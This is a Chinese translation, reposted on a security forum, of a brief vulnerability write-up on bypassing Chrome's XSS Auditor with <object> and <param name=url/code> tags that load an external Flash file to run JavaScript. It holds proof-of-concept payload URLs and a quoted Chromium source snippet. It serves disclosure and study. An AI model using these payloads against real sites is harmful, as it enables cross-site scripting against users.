华域联盟 网络安防 XSS Auditor bypass using obscure tag

XSS Auditor bypass using obscure tag

译:Holic (知道创宇404安全实验室)

Hi there!

出于一些原因,我在读 Chromium 的源码的时候,意外地发现了一个绕过 XSS 过滤器的方法。在这篇短文里,我将分享这一绕过方法。我已在此处进行了报告: https://bugs.chromium.org/p/chromium/issues/detail?id=676992

绕过方法如下:

https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3E

<object allowscriptaccess=always>
<param name=url value=https://l0.cm/xss.swf>

当然这样也有效:

https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=code%20value=https://l0.cm/xss.swf%3E

<object allowscriptaccess=always>
<param name=code value=https://l0.cm/xss.swf>

直到我在 HTMLObjectElement.cpp 中找到相关代码,我才知道 Chrome 竟会支持这些参数,:

if (url.isEmpty() && urlParameter.isEmpty() &&
    (equalIgnoringCase(name, "src") || equalIgnoringCase(name, "movie") ||
     equalIgnoringCase(name, "code") || equalIgnoringCase(name, "url")))
  urlParameter = stripLeadingAndTrailingHTMLSpaces(p->value());

<param name="src" value="//attacker/xss.swf"><param name="movie" value="//attacker/xss.swf"> 被 XSS 过滤器拦截了。但是我发现 codeurl 并没有被拦截。使用这一方法,我们可以加载 Flash 并执行 JavaScript。根据源代码的注释,看来 Chrome 出于兼容性的考虑支持这一特性。但至少我确认了它在 IE/Edge 上并不生效。我认为 Chrome 可以移除对它的支持 🙂

此致。我写了用 <param> 标签绕过 XSS 过滤器的方法,感谢阅读!

本文由 华域联盟 原创撰写:华域联盟 » XSS Auditor bypass using obscure tag

转载请保留出处和原文链接:https://www.cnhackhy.com/105842.htm

本文来自网络,不代表华域联盟立场,转载请注明出处。

作者: sterben

Chrome Extensions Probe

Hacking Aria2 RPC Daemon

发表回复

联系我们

联系我们

2551209778

在线咨询: QQ交谈

邮箱: [email protected]

工作时间:周一至周五,9:00-17:30,节假日休息

关注微信
微信扫一扫关注我们

微信扫一扫关注我们

关注微博
返回顶部